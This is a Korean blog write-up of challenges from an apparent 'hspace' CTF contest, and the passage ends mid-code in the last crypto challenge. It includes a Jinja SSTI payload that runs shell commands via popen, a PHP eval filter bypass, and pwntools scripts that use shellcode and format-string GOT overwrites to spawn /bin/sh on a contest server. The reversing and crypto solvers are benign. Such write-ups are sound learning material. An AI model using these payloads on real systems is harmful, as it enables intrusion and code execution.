여러 문제로 인해 대회가 끝난지 한참이 되고서야(2달 뒤) 업로드를 하게 되었다.

 

가능하면 문제를 모두 풀어서 업로드하고 싶었는데, 시간이 없어 나머지 문제를 마저 채우기에는 어려움이 있을것 같다.

Web

MEEMO

 

이렇게 템플릿을 수정할 수 있다.

보자마자 SSTI가 절로 떠오르게 생겼다.

 

 

{{config}}를 넣으면 이렇게 되는데, 일단 저기 있는 SECRET_KEY가 플래그는 아니었다.

 

{{''.__class__.__mro__[1].__subclasses__()}}를 넣고, popen이 있음을 확인했다.

앞에 있는 , 개수는 367개였다.

 

즉, 뒤에 [367](cmd,shell=True,stdout=-1).communicate() 를 추가해

cmd를 실행시킬 수 있으며, 이를 통해 ls, cat flag를 할 수 있다.

 

 

<td>{{''.__class__.__mro__[1].__subclasses__()[367]('cat flag',shell=True,stdout=-1).communicate()}}</td>를 추가해,

다음과 같이 flag를 획득할 수 있다!!!

 

 

babyweb

<?php 
include "flag.php";

function valid_url($array){
  try{
    foreach($array as $key => $value) {
      if($key === "isAdmin"){
        return true;
      } else {
        return false;
      }
    }
  } catch(Exception $e) {	
     return true; 
  }
}
preg_match('/\/.*\?[a-z0-9!@%^*]+\[(.*)\]=.*/s',$_SERVER['REQUEST_URI'],$match);
if($match[1] === "isAdmin"){
  foreach($_GET as $key => $value) {
    if(valid_url($_GET[$key])) {
      die('nohack');
    } else {
        $code = $_GET['cmd'];
        if (preg_match('/\(|\)|\d|[^A-Zb-df-km-uw-z]|\{|\}|\*|\&|\/|\_|\-|\||\./m',$code) && strlen($code)<500){
        eval($_GET['cmd']);
      }
      break;
    }
  }
}
highlight_file(__FILE__);
?>

 

일단 주어진 기본 코드는 다음과 같다.

 

우선 '/?xx[isAdmin]=xx' 꼴의 문자열이 있어야 if문이 통과가 가능한데,

정작 첫 요소의 배열에 첫 key가 isAdmin이면 validurl이 true를 리턴한다.

 

예를 들어, '/?k[isAdmin]=true' 같은걸 넘기면

validurl에 k가 인자로 넘어가 k의 첫 인자인 isAdmin을 검증하여 true가 리턴된다.

 

그렇다고 k에 또 다른 key를 추가하면 ]가 하나 더 추가되어

if문 진입 자체가 안된다.

 

 

대신 인자를 아예 이렇게 넘기면 에러가 터진다.

즉, cmd를 원하는대로 넣을 수 있다!

 

 

flag.php가 include 되어있으므로, 그대로 읽어올 수 있다.

 

Misc

Hspace shell

def read(name):
    if 'flag' in name:
        bye()
    with open(name, 'rb') as f:
        print(f.read())

def echo(buffer):
    print(buffer)

def ls(dir):
    __import__('os').system(f'ls {dir}')

def hspace(buf):
    if buf == 'hspace':
        with open('/home/prob/flag', 'r') as f:
            print(f.read())
            bye()
    print('Nah...')

def bye():
    __import__('sys').exit(0)

def usage():
    print('usage: {command} {arg}')
    print('Commands list:')
    for i in range(len(FUNCS)):
        print('    %s'%FUNCS[i].__name__)

FUNCS = [read, echo, ls, bye, hspace]

def main():
    print('''
 _   _ ____  _   _  __  _   _                            ____  _          _ _  __  
| | | / ___|| | | |/ / | | | |___ _ __   __ _  ___ ___  / ___|| |__   ___| | | \ \ 
| |_| \___ \| |_| | |  | |_| / __| '_ \ / _` |/ __/ _ \ \___ \| '_ \ / _ \ | |  | |
|  _  |___) |  _  | |  |  _  \__ \ |_) | (_| | (_|  __/  ___) | | | |  __/ | |  | |
|_| |_|____/|_| |_| |  |_| |_|___/ .__/ \__,_|\___\___| |____/|_| |_|\___|_|_|  | |
                   \_\           |_|                                           /_/ 
    ''')
    while(True):
        try:
            found = False
            commands = input("knight@hspace:~/prob/$ ").replace('hspace', '').strip().split(' ')
            if len(commands) != 2:
                raise ValueError()
            for func in FUNCS:
                if commands[0] == func.__name__:
                    found = True
                    func(commands[1])
            if found:
                continue
            print(f'hsh: command not found: {commands[0]}')
        except KeyboardInterrupt:
            bye()
        except ValueError:
            usage()

if __name__ == '__main__':
    main()

 

두 단어를 입력받아 첫 단어가 funcs 안에 들어가있으면,

두번째 단어를 인자로 하여 실행시킨다.

 

hspace('hspace')를 실행시키면 flag를 얻을 수 있지만.

hspace를 replace 해 지운다.

 

 

hshspacepace같은 단어를 넣으면 replace를 우회할 수 있다.

 

Reversing

HS-Box

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int i; // [rsp+Ch] [rbp-84h]
  char input[104]; // [rsp+10h] [rbp-80h] BYREF
  unsigned __int64 v6; // [rsp+78h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  memset(input, 0, 0x64uLL);
  printf("Input: ");
  __isoc99_scanf("%s", input);
  for ( i = 0; i < strlen(input); ++i )
  {
    input[i] = sbox1(input[i]);
    xor(input[i], i + 1);
  }
  if ( !strcmp(input, &target) )
    puts("Correct!");
  else
    puts("Wrong!");
  return 0LL;
}

 

저기 sbox1() 함수는 그저 배열에 인자를 넣어 리턴하는 함수이며,

xor 함수는 결국 리턴값이 활용되지 않기 때문에 무시해도 된다.

 

때문에, 입력값이 sbox에 의해 치환되는것만 역산하면 된다!

sbox=[0x7D,0xB0,0x44,0x03,0xE0,0x21,0x4F,0x59,0x0F,0xAD,0xAC,0x76,0x68,0xCA,0x8E,0x09,0x8B,0xB8,0xB4,0xC6,0x15,0x4E,0x31,0x0C,0x10,0x66,0x4D,0x22,0x30,0x96,0x45,0xA3,0x20,0x48,0x33,0x86,0xF5,0x1B,0xBD,0xB3,0x55,0x3B,0x5D,0x2D,0x67,0x5B,0x9D,0x6B,0x7F,0xD1,0x50,0x74,0xDD,0x63,0x41,0xF0,0x71,0xA9,0xE4,0x27,0x6F,0xBC,0x7A,0x2A,0x84,0xDA,0x14,0xC3,0xD0,0x3C,0x29,0x9B,0xC9,0xB7,0xE1,0x46,0x7E,0xEE,0x79,0x88,0x6A,0x0E,0xCB,0xA2,0x9E,0x92,0x8A,0xC7,0xE7,0xFA,0x1E,0xC2,0x62,0xBB,0x13,0xD4,0xA1,0x4C,0xC4,0xD6,0xF8,0xF1,0xF2,0x91,0xC0,0x64,0x26,0x6D,0xA0,0xC1,0x8C,0x04,0x02,0x1F,0xB5,0xDF,0x61,0xC8,0xBF,0x80,0x08,0x36,0x24,0xAB,0x38,0x5C,0xD8,0xAF,0x01,0x2F,0x4A,0x32,0x1A,0xF7,0xD9,0xAA,0x17,0x78,0x16,0xFD,0xE6,0x18,0xA6,0x34,0x54,0x0A,0xB9,0x23,0xFB,0xA8,0x3A,0x25,0xB6,0x0D,0xEC,0x6C,0x65,0xDB,0xE5,0xF4,0x95,0x56,0x11,0x49,0xB1,0x90,0x7C,0x0B,0x93,0x99,0x83,0xCF,0x28,0x7B,0x42,0x81,0xCE,0xEA,0xD2,0xBE,0x37,0x85,0x1C,0x69,0xE8,0x06,0xFE,0x98,0x5F,0x51,0xE3,0x53,0x1D,0xED,0x8D,0xB2,0xF6,0x19,0xA7,0xFC,0x70,0x75,0x5A,0x2E,0xEB,0x3E,0x6E,0x57,0x9C,0x58,0xCC,0x5E,0x97,0xE9,0x2C,0x87,0xD5,0xDE,0x12,0x82,0x3D,0x89,0xCD,0x00,0x94,0xE2,0xDC,0xF3,0xEF,0x73,0x9F,0xD3,0x05,0x39,0x9A,0xC5,0x2B,0xAE,0x07,0xA5,0x77,0x47,0xBA,0x3F,0x72,0x43,0xF9,0xA4,0x52,0x4B,0x35,0x8F,0x60,0x40,0xD7,0x00]
target=[0xC0,0xDF,0x02,0x4C,0xD6,0xF1,0xAB,0xA2,0xA2,0xA2,0xA2,0xA2,0xA2,0xA2,0xA2,0xA2,0xA2,0xA2,0xA2,0x02,0xDD,0xD6,0x74,0xD4,0x14,0x7F,0xE7,0x48,0x5C]

target=[sbox.index(_) for _ in target]
print(bytes(target))
#b'hspace{SSSSSSSSSSSSp4c3_B0X!}'

 

Where is CF

 

이 문제는 main 호출 전후로 호출되는 함수들이 담겨있는

_init_array&_fini_array를 확인해야 한다.

 

__int64 sub_11E0()
{
  __int64 result; // rax
  int v1; // eax
  char v2; // al
  unsigned int v3; // [rsp+0h] [rbp-10h]
  int v4; // [rsp+4h] [rbp-Ch]
  int v5; // [rsp+8h] [rbp-8h]
  int i; // [rsp+Ch] [rbp-4h]

  srand(0x12345678u);
  for ( i = 0; ; ++i )
  {
    result = i;
    if ( (unsigned __int64)i >= 1024 )
      break;
    v3 = table[i];
    v1 = rand();
    v5 = shr8(v1 & 0x7FFFFFFF ^ v3);
    v4 = table[i];
    v2 = rand();
    table[i] = same(v2 ^ (unsigned __int8)v4) ^ v5;
  }
  return result;
}

 

우선 sub_11E0은 위와 같이 srand&rand로 table을 초기화하고,

 

int sub_1280()
{
  if ( !memcmp(&byte_5070, &unk_50B0, 0x27uLL) )
    return printf("Correct!\n");
  else
    return printf("Wrong!\n");
}

 

sub_1280은 main 종료 이후 문자열 검증이 이루어진다.

 

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char v4; // [rsp+4h] [rbp-7Ch]
  int i; // [rsp+8h] [rbp-78h]
  int v6; // [rsp+Ch] [rbp-74h]
  char src[48]; // [rsp+10h] [rbp-70h] BYREF
  char s[60]; // [rsp+40h] [rbp-40h] BYREF
  int v9; // [rsp+7Ch] [rbp-4h]

  v9 = 0;
  setvbuf(stdout, 0LL, 2, 0LL);
  memset(s, 0, 0x30uLL);
  memset(src, 0, sizeof(src));
  printf("Input flag : ");
  v6 = read(0, s, 0x30uLL);
  s[v6 - 1] = 0;
  for ( i = 0; i < v6; ++i )
  {
    v4 = s[i];
    src[i] = table[rand() % 1024] ^ v4;
  }
  memcpy(&unk_50B0, src, v6);
  printf("End :)");
  return 0LL;
}

 

따라서 우리는 sub_11E0대로 table을 초기화하고,

rand()값에 따라 input에 xor되는걸 역산하여 flag를 계산해야 한다.

 

from ctypes import *

libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")

s=[
 ...
]

target=[
 0xAF,0xA5,0x15,0x72,0xF8,0x1A,0x06,0x70,0x62,0x58,0xEF,0x0E,0x3E,0x19,0xA1,0x5E
,0x2B,0x1B,0x25,0xFB,0x55,0x5B,0xCC,0xBF,0x80,0x10,0xFC,0x2B,0xFE,0xEF,0x18,0x03
,0x5F,0x6A,0x9A,0xEE,0x4D,0x23,0x4C
]

s=[s[i]|(s[i+1]<<8) for i in range(0,4096,4)]

assert len(s)==1024

libc.srand(0x12345678)
for i in range(1024):
    x=libc.rand()^s[i]
    x>>=8
    y=libc.rand()^s[i]
    y&=0xff
    s[i]=x^y

print(len(target))

for i,t in enumerate(target):
    target[i]^=s[libc.rand()%1024]&0xFF

print(bytes(target))

 

디버깅해서 sub_11E0 이후 table을 불러오는것도 방법이지만,

번거로워 굳이 선택하지는 않았다.

 

srand 및 rand는 ctypes를 통해 재연하였고, 

그 뒤 역산을 통해 flag를 획득했다.

Pwnable

HSpace Box

int __cdecl main(int argc, const char **argv, const char **envp)
{
  User *v3; // rbx
  User *sudo_user; // rbx
  User *v5; // rbx
  __int64 help_message; // rax
  __int64 v7; // rbx
  int v8; // eax
  __int64 v9; // rax
  __int64 v10; // rbx
  __int64 v11; // rax
  __int64 v12; // rax
  __int64 v13; // rax
  __int64 v14; // rax
  __int64 v15; // rax
  __int64 v16; // rax
  char sudomode; // [rsp+Fh] [rbp-D1h]
  __int64 v20; // [rsp+10h] [rbp-D0h] BYREF
  __int64 v21; // [rsp+18h] [rbp-C8h] BYREF
  __int64 v22; // [rsp+20h] [rbp-C0h] BYREF
  __int64 v23; // [rsp+28h] [rbp-B8h] BYREF
  User *user_now; // [rsp+30h] [rbp-B0h] MAPDST
  User *user_backup; // [rsp+38h] [rbp-A8h]
  char input[32]; // [rsp+40h] [rbp-A0h] BYREF
  char v27[32]; // [rsp+60h] [rbp-80h] BYREF
  char v28[32]; // [rsp+80h] [rbp-60h] BYREF
  char v29[40]; // [rsp+A0h] [rbp-40h] BYREF
  unsigned __int64 v30; // [rsp+C8h] [rbp-18h]

  v30 = __readfsqword(0x28u);
  banner();
  std::string::basic_string(input, argv);
  std::string::basic_string(v27, argv);
  std::operator<<<std::char_traits<char>>(&std::cout, "Login: ");
  std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, v27);
  std::string::basic_string(v29, v27);
  v3 = (User *)operator new(0x28uLL);
  User::User(v3, (__int64)v29);
  user_now = v3;
  std::string::~string(v29);
  while ( 1 )
  {
    sudomode = 0;
    std::operator<<<std::char_traits<char>>(&std::cout, ">>> ");
    std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, input);
    if ( !(unsigned int)std::string::compare(input, 0LL, 5LL, "sudo ") )
    {
      sudomode = 1;
      user_backup = user_now;
      sudo_user = (User *)operator new(0x28uLL);
      User::User(sudo_user, 1LL);
      user_now = sudo_user;
      std::string::replace(input, 0LL, 5LL, &unk_4177);
    }
    if ( !(unsigned int)std::string::compare(input, 0LL, 3LL, "su ") )
    {
      std::string::replace(input, 0LL, 3LL, &unk_4177);
      std::string::basic_string(v29, input);
      v5 = (User *)operator new(0x28uLL);
      User::User(v5, (__int64)v29);
      user_now = v5;
      std::string::~string(v29);
      v21 = std::string::end(input);
      __gnu_cxx::__normal_iterator<int const*,std::vector<int>>::__normal_iterator<int *>(&v23, &v21);
      v20 = std::string::begin(input);
      __gnu_cxx::__normal_iterator<int const*,std::vector<int>>::__normal_iterator<int *>(&v22, &v20);
      std::string::replace(input, v22, v23, &unk_4177);
    }
    if ( (unsigned __int8)std::string::empty(input) != 1 )
      break;
LABEL_19:
    if ( sudomode )
    {
      if ( user_now )
      {
        std::__shared_ptr<std::filesystem::__cxx11::_Dir,(__gnu_cxx::_Lock_policy)2>::~__shared_ptr(user_now);
        operator delete(user_now, 0x28uLL);
      }
      user_now = user_backup;
    }
  }
  if ( (unsigned int)std::string::compare(input, "exit") )
  {
    if ( !(unsigned int)std::string::compare(input, "help") )
    {
      help_message = std::operator<<<std::char_traits<char>>(
                       &std::cout,
                       "Command list: id, su <user>, sudo <command>, exit, flag");
      std::ostream::operator<<(help_message, &std::endl<char,std::char_traits<char>>);
    }
    else if ( !(unsigned int)std::string::compare(input, "id") )
    {
      v7 = std::operator<<<std::char_traits<char>>(&std::cout, "uid=");
      v8 = User::getuid(user_now);
      std::to_string((std::__cxx11 *)v28, v8);
      v9 = std::operator<<<char>(v7, v28);
      v10 = std::operator<<<std::char_traits<char>>(v9, "(");
      grpc::Status::error_message[abi:cxx11](v29, user_now);
      v11 = std::operator<<<char>(v10, v29);
      v12 = std::operator<<<std::char_traits<char>>(v11, ")");
      std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>);
      std::string::~string(v29);
      std::string::~string(v28);
    }
    else if ( !(unsigned int)std::string::compare(input, "flag") )
    {
      if ( (unsigned __int8)User::isroot(user_now) )
      {
        if ( sudomode != 1 )
        {
          getflag();
        }
        else
        {
          v13 = std::operator<<<std::char_traits<char>>(&std::cout, "Cannot print flag in sudo mode :(");
          std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>);
        }
      }
      else
      {
        v14 = std::operator<<<std::char_traits<char>>(&std::cout, "You are not root :(");
        std::ostream::operator<<(v14, &std::endl<char,std::char_traits<char>>);
      }
    }
    else
    {
      v15 = std::operator<<<std::char_traits<char>>(&std::cout, "Command not found: ");
      v16 = std::operator<<<char>(v15, input);
      std::ostream::operator<<(v16, &std::endl<char,std::char_traits<char>>);
    }
    goto LABEL_19;
  }
  std::string::~string(v27);
  std::string::~string(input);
  return 0;
}

(IDA로 disassemble한 코드)

24솔이지만, 코드가 꽤 어질어질하다.

디버깅하느라 writeup 통틀어서 익스 이해하는데 제일 고생한것 같다..

 

이 정도로 많이 풀릴 문제였나 싶어서 꽤 당황스러웠다.

 

익스에서 벌어지는 일은 대략 다음과 같다

1. "sudo ": sudo에서 root가 켜져있는 계정을 할당했다가, LABEL_19에서 지운다.

2. su에서는 다시 계정을 할당하는데, uid랑 이름만 덮어서 root 여부가 오염되어있는 그대로 남아있다.

3. 이로 인해 다시 할당받은 계정이 root 권한을 가지게 되며, flag를 획득할 수 있다.

 

blind but no blind

 

코드는 주어지지 않았지만, NX bit이 꺼져있다.

또한 입력받는 buffer의 주소, canary 주소, rbp를 준다.

 

그래서, (canary 주소)-(buffer 주소)개의 문자를 입력하면

canary의 null byte는 '\n'이 덮으면서 뒤의 canary가 leak된다.

 

그리고 다음과 같이 입력을 1번 더 줄 수 있는데,

shellcode를 실행시키도록 스택을 잘 덮어주면 된다.

 

from pwn import *

r=remote("43.200.163.250","31339")

context.arch = "amd64"

shellcode=asm(shellcraft.sh())

r.recvline()
buffer = int(r.recvline()[-15:-1],16)
rbp = int(r.recvline()[-15:-1],16)
canary = int(r.recvline()[-15:-1],16)

r.sendlineafter(b': ',b'A'*(canary-buffer))
r.recvuntil(b': ')
print(r.recv(canary-buffer+1))
canary_value=b'\x00'+r.recv(7)

payload=shellcode
payload+=b'A'*(canary-buffer-len(payload))
payload+=canary_value
payload+=p64(rbp)
payload+=p64(buffer)

r.sendlineafter(b': ',payload)
r.interactive()

 

스택을 덮을때는 canary를 잘 덮고,

sfp는 shellcode가 잘 돌아갈 수 있게 의미있는 값을 덮고,

ret은 우리가 실행시킬 쉘코드가 있는 곳으로 한다.

 

OverSpace

시간 배분 계획이 꼬여버린 가장 큰 요인이었다.

복잡하게 생각하다 fsb를 터뜨려야 하는것도 gpt 덕에 알았고,

익스에도 뒤에 언급할 착각 때문에  거의 2시간 넘게 걸렸던것 같다.

진짜로 BOB 3차과정 어카냐

 

우선, NX와 Partial RELRO 말고 딱히 걸려있는건 없다.

int func()
{
  int result; // eax
  size_t v1; // rax
  int i; // [rsp+10h] [rbp-E0h]
  int v3; // [rsp+14h] [rbp-DCh]
  FILE *stream; // [rsp+18h] [rbp-D8h]
  char format[64]; // [rsp+20h] [rbp-D0h] BYREF
  char buf[64]; // [rsp+60h] [rbp-90h] BYREF
  char dest[48]; // [rsp+A0h] [rbp-50h] BYREF
  char s[32]; // [rsp+D0h] [rbp-20h] BYREF

  memset(s, 0, sizeof(s));
  memset(dest, 0, sizeof(dest));
  memset(buf, 0, sizeof(buf));
  memset(format, 0, sizeof(format));
  result = setup();
  for ( i = 0; i < 2; ++i )
  {
    puts("[File List]");
    puts("$ pwd");
    system("pwd");
    puts("$ ls -al /tmp");
    system("ls -al /tmp");
    printf("Input file name >> ");
    s[read(0, s, 0x20uLL) - 1] = 0;
    printf("Input file content >> ");
    read(0, buf, 0x40uLL);
    strcpy(dest, "/tmp/");
    strcat(dest, s);
    stream = fopen(dest, "w+");
    v1 = strlen(buf);
    fwrite(buf, v1, 1uLL, stream);
    fseek(stream, 0LL, 2);
    v3 = ftell(stream);
    fseek(stream, 0LL, 0);
    fread(format, 1uLL, v3, stream);
    printf("%s : ", dest);
    printf(format);
    unlink(dest);
    fclose(stream);
    result = i + 1;
  }
  return result;
}

(IDA로 disassemble한 코드)

여기서 가장 까다로웠던건,

null 이전까지만 format에 복사되기 때문에,

그 이후 내용을 printf에서 참조할 수 없다고 착각했다.

사실 같은 format이 아닌 buffer에서 참고하면 되는건데...

 

때문에 나는 fclose가 첫 루프에서 호출되지 않아

fclose의 got 값이 낮음을 이용해 이를 func로 덮고,

i의 최상위 바이트를 0x80으로 덮어 루프를 계속 돌게 했다.

 

다음에는 주소를 한번씩 입력해서 스택간의 거리차를 계산해

한번에 strlen_got을 system의 plt주소로 덮고,

 

그 뒤에는 file content에 /bin/sh를 입력해

system("/bin/sh")를 실행시켰다.

 

from pwn import *

r=remote("43.200.163.250","14414")
#r=process("./overspace")

#36:sfp
#37:ret
#gdb.attach(r)
system=0x401090
system_got=0x404048
strlen_got=0x404040
fclose_got=0x404038
func=0x401290

r.sendlineafter(b'>> ',b'BBBBBBBBCCCCCCCC')
payload=f'%{0x1290}c'.encode()
payload+=b'%12$hn'
payload+=b'A'*(0x10-len(payload))
payload+=p64(fclose_got)
#
r.sendlineafter(b'>> ',payload)

for i in range(3):
    r.sendlineafter(b'>> ',b'bb')
    r.sendlineafter(b'>> ',p64(strlen_got+4-2*i))
#[(0, 4210756), (64, 4210754), (4240, 4210752)]
payload=b''
payload+=b'%106$hn'
payload+=b'%64c'
payload+=b'%74$hn'
payload+=b'%4176c'
payload+=b'%42$hn'
r.sendlineafter(b'>> ',b'bb')
r.sendlineafter(b'>> ',payload)

r.sendlineafter(b'>> ',b'bb')
r.sendlineafter(b'>> ',b'/bin/sh')

r.interactive()
r.close()

 

착각 때문에 상당히 코드가 길어졌는데,

만약 fsb에 익숙하지 않다면 위에서

언급한 사항을 활용해 직접 짜보기를 추천한다.

 

위에 코드가 너무 복잡하다면, 위에 언급한 사항을 활용해

더 간단히 작성한 아래쪽을 참조하는걸 추천한다.

 

더보기
from pwn import *

r=remote("43.200.163.250","14414")
#r=process("./overspace")

system=0x401090
strlen_got=0x404040

#strlen_got+4, strlen_got+2, strlen_got에
#0x00, 0x40, 0x1090 덮어야 함.
#format, buf은 printf 기준 각각 10, 18번째

offset=18 #printf에서 buf의 위치
n=4       #payload에서 주소 앞부분의 길이

payload=b''
payload+=f'%{offset+n+2}$hn'
payload+=f'%{0x40}c'
payload+=f'%{offset+n+1}$hn'
payload+=f'%{0x1090-0x40}c'
payload+=f'%{offset+n}$hn'
payload+='A'*(8*n-len(payload))

payload=payload.encode()
payload+=p64(strlen_got)
payload+=p64(strlen_got+2)
payload+=p64(strlen_got+4)

r.sendlineafter(b'>> ',b'bb')
r.sendlineafter(b'>> ',payload)

r.sendlineafter(b'>> ',b'bb')
r.sendlineafter(b'>> ',b'/bin/sh')

r.interactive()
r.close()

Crypto

Prime Battle v1

#!/usr/bin/python3
from Crypto.Util.number import long_to_bytes, getPrime, bytes_to_long
import os
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

class Person:
    def __init__(self, BITS):
        self.key = getPrime(BITS)
        self.limit = BITS
    def out(self):
        if self.limit == 0:
            return bytes_to_long(os.urandom(1)) & 1
        else:
            self.limit -= 1
            o = self.key & 1
            self.key >>= 1
            return o



if __name__ ==  "__main__":
    with open("flag.txt",'rb') as f:
        FLAG = f.read()
    Alice = Person(1024)
    BoB = Person(1024)

    key = (Alice.key << 1024) ^ BoB.key
    key = hashlib.sha256(long_to_bytes(key)).digest()

    aes = AES.new(key, AES.MODE_CBC, b'||Alice-vs-BoB||')
    FLAG_enc = aes.encrypt(pad(FLAG, 16))
    res = ''
    for i in range(2048):
        o1 = Alice.out()
        o2 = BoB.out()
        if o1 == o2:
            if o1 == 0:
                res += 'i'
            else:
                res += 'I'
        if o1 != o2:
            if o1 == 0:
                res += 'l'
            else:
                res += "1"

    with open('output','w') as f:
        f.write(res)
        f.write('\n')
        f.write(FLAG_enc.hex())

 

Crypto에서 제일 쉬운 문제였고, 그만큼 솔버도 많았다.

output 첫 줄에 주어지는 iIl1로 이루어진,

소위 "바코드"를 통해 key를 완벽하게 복구 할 수 있다.

from Crypto.Util.number import long_to_bytes, getPrime, bytes_to_long
import os
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

clue="Iili1ii1llllIIiil1I1lIiIll11II1111iIII1IIlIIl1lIIlliIIiI1Ii1l11llIillilliIl1illiiil1ilIII1iI11IllIIIIil1iIi1i1lii1Il1l11lllIl11Ii111i11IIiIIIlIiIliillIli1IlI11iIlIil1il1lllIi1iiillIi1i1IlIIill1iIi1Il1lIIilIl1IiIl1l1IiIll11I1lii1l11liiIlIll1ll111IllIii11ilililllIl11l1iIiii1ii1ll11IliIil1111I11l1IlIlI1IiIII1ilIllIiiIll1Ill1i1ll1ilIl1IillII1I1I1i1i1I11IIIiiI1il1111iiIilII1lll1iI1lIIliillI1iiIiillIiii1I1l1iliiliIIIillilIIii1lI1liI1lI1lI1lill11iI1IIIiI11I1IlIll1i1iilliilliIIIili1iIl1111llII1II1iliIIili11iiIIIllIlii11i1IIil1lli1l1I1l1IiliIIil1IIiI1lilI1IilI1i1lil11illIlII1I1l1IiliiIIIIl11iilll1i1111I1111iIIIiIllIiliI111i1iilIi11ili1llIiI1i1iiillIlIIIll1IilIIIIiiIilIIi11I1i1I1i1lI1lllil1lll1i1i11lli1Iii11ililIliIlili1llI1Iiill1lilIll11I11iIIlll111iiIi1IIiIl111I1IIIl1il1l1l11ii11IiI11Ii1lIll1I111111iiiIIIiiiillilllIlI1l1iiilIIiilI1Iilillli1I1lllliIlli1ili11Illl1lI1II1i111iI1iIIlI1lliliIl1llIllIIIi11Ii1111lllI1lil1Iiliii111l1ii1Ill1liIlIi11IlII11Illiiil1IIllllilillilIil1lilli1lliI1llliIllliiliilIl1IlIllllili1IIliII1II1I1II1i1lli1ii1lliil1111i1I1iilllll11l1ii11III1iiIlil1lI1l1liIlIil11Iiil11I1IIl1IiIi111IliIli1lIIllI1lllliilIiilIiIillllIiIlllI11iil1iiiIillIi111Ililillllil1liiIliiil11il1l1l1iilIl111liilliiIlIIi1lliilI1Ii1l1llllilI111lIi1Ii11llI11I1ii1ll1lIIiiI11ll1iilIilillI11lIIIlI1i1IlIliilil1i1l11I1ilI1l1Ii1Iil11i1iI11Iiiilli1ll1iIlIIlIiillI1llilII1I11l11IIliiI1iill1iIil1111Ill11ill1iI1Il11Iiiil1I1lI1i11IIiilIIiI11ili1l11l11i1iI1liII11lllIl111iIliIiIl1il1I11I1liIIililiI11111li1IliIIl1IIllliII1III1l11111IliIliiiiliI1IIiIii1Iiil1l11IIlIl11iI1I11liliil11ii1IIlllIIi1Ii111IIi11liiil1I1111lli1lil1llllllIIliII1Iii1lliIiI1liliIli11iIl1I111lIIiI1I1I11I1iiI1iiIIIlIiiIIi11IlliIi11lliIiiIlIlIlIilIlliIIi1IIlliII1i1iliIl1i1liIl1lliiI11IiiIilI1III1liii1lilII1l1l1i11liIiIiIII1IIlIIiil111ll1il1l1Ii1I1Ii1I1illliilIIi111llI1I1Il1I1I1iIi1liIiIII111IIillIIII11Il1111IliIIi11l1Il11IlIlI11ii11IiiI1111I1Iii11lI1iiIlllilIIiiIilIll1Il1lliiiil11I1iillI1lIIIi1ilil1iiillIiillil1iIlii11ili1illlIi1iI111IIIIil1ill1iiI11IiI11I1l1lII1i1li1iIiIl1lII1l1li1i"
enc="bf7f80129d68e97de31d220fd97c095b60a06554fc4280f39ae9ca09186c8320f2ad975959cc94a62571aec89d65096b"
clue=clue[:1024][::-1]
enc=bytes.fromhex(enc)
key1,key2=0,0
for i in range(1024):
    key1<<=1
    key2<<=1
    c=clue[i]
    if c in ['I','1']:
        key1|=1
    if c in ['I','l']:
        key2|=1
key = (key1 << 1024) ^ key2
key = hashlib.sha256(long_to_bytes(key)).digest()
aes = AES.new(key, AES.MODE_CBC, b'||Alice-vs-BoB||')
print(aes.decrypt(enc))

 

key의 상위 비트부터 1비트씩 추출하고, 복호화를 진행한다.

 

firecursive

from Crypto.Util.number import *
import hashlib
fire = 189
p = 2**256 - fire; assert isPrime(p)
import random; random.seed(p)
v = [random.randint(0, p) for _ in range(fire)]
c = [[random.randint(0, p) for _ in range(fire)] for _ in range(fire)]
inner = lambda a, b: sum([x * y for x, y in zip(a, b)]) % p
for _ in range(random.randint(0, p)):
    for i in range(fire): v[i] = inner(v, c[i])
print(f"hspace{{{hashlib.sha256(str(v).encode()).hexdigest()}}}")

 

개인적으로 Crypto에서 제일 어려운 문제 아니었을까 싶다.

(주분야인걸 감안하면 대회 전체에서?)

50분 가까이 삽질하던 문제였다.

 

일단 random.seed가 고정되어있기 때문에 v, c, 그리고 루프 횟수 모두 고정되어 있다.

v, c는 각각 길이가 189인 벡터, 크기가 189x189인 행렬이라고 할 수 있고,

문제에서 가장 헤맸던 부분은 루프를 돌며 v를 초기화 하는 부분이었다.

 

어려움을 겪었던 부분은 다음 2가지이다.

 

1. 행렬의 거듭제곱에 생각보다 많은 시간이 소모된다!

나는 numpy를 거의 쓸 줄 모르고 sage를 애용하는데, 

sage에서 GF(p)나 Zmod(p)에서 행렬을 정의하면 행렬 곱셈 하나에 수십초가 걸린다.

때문에 온갖 실수를 할 때마다 피드백이 쉽지 않았고,

결국 정수 위에 정의하고 p로 나눈 나머지를 구하는 식으로 직접 구현했다.

 

2. 루프에서 이루어지는게 c*v가 아니다!

저게 c*v와 동일한 작업인 줄 알았는데,

행 하나와 내적할 때 마다 매번 v가 바뀌는 방식이라 다르다!!

다만 결국 v의 값에 따라 선형이라는 점은 변하지 않아 

w*v가 같은 값을 가지게 하는 행렬 w가 존재한다.

 

위에서 말한 w를 구하고, 이를 거듭제곱해 v에 곱하는 방식으로 접근했다.

from Crypto.Util.number import *
import hashlib
fire = 189
p = 2**256 - fire; assert p in Primes()
import random; random.seed(int(p))
v = [random.randint(0, p) for _ in range(fire)]
c = [[random.randint(0, p) for _ in range(fire)] for _ in range(fire)]
inner = lambda a, b: sum([x * y for x, y in zip(a, b)]) % p
w = list(identity_matrix(fire))
W = []
for idx in range(fire):
    wi=list(w[idx])
    for i in range(fire): wi[i] = inner(wi, c[i])
    W.append(wi)

W = Matrix(ZZ,W).transpose()
D = identity_matrix(fire)

r=random.randint(0, p)
while r:
    if r&1:
        D*=W
        D%=p
    W*=W
    W%=p
    r>>=1
    print(r)

v = vector(Zmod(p),v)
v = list(D*v)
print(f"hspace{{{hashlib.sha256(str(v).encode()).hexdigest()}}}")

 

1. wi를 넣고 계산해 W의 각 열을 계산한다.

2. 이를 통해 W의 거듭제곱 D를 구한다.

3. D*v를 구한다

4. Profit!

 

n&&n

from Crypto.Util.number import *
import math, random, json
import sys
sys.set_int_max_str_digits(100000)
flag = "hspace{}"

secret = int.from_bytes(flag.encode(), "big")

size = 30

primes = [getPrime(256) for _ in range(size * 2)]
ns = [primes[2 * i] * primes[2 * i + 1] for i in range(size)]
phis = [(primes[2 * i] - 1) * (primes[2 * i + 1] - 1) for i in range(size)]

n = math.prod(ns)
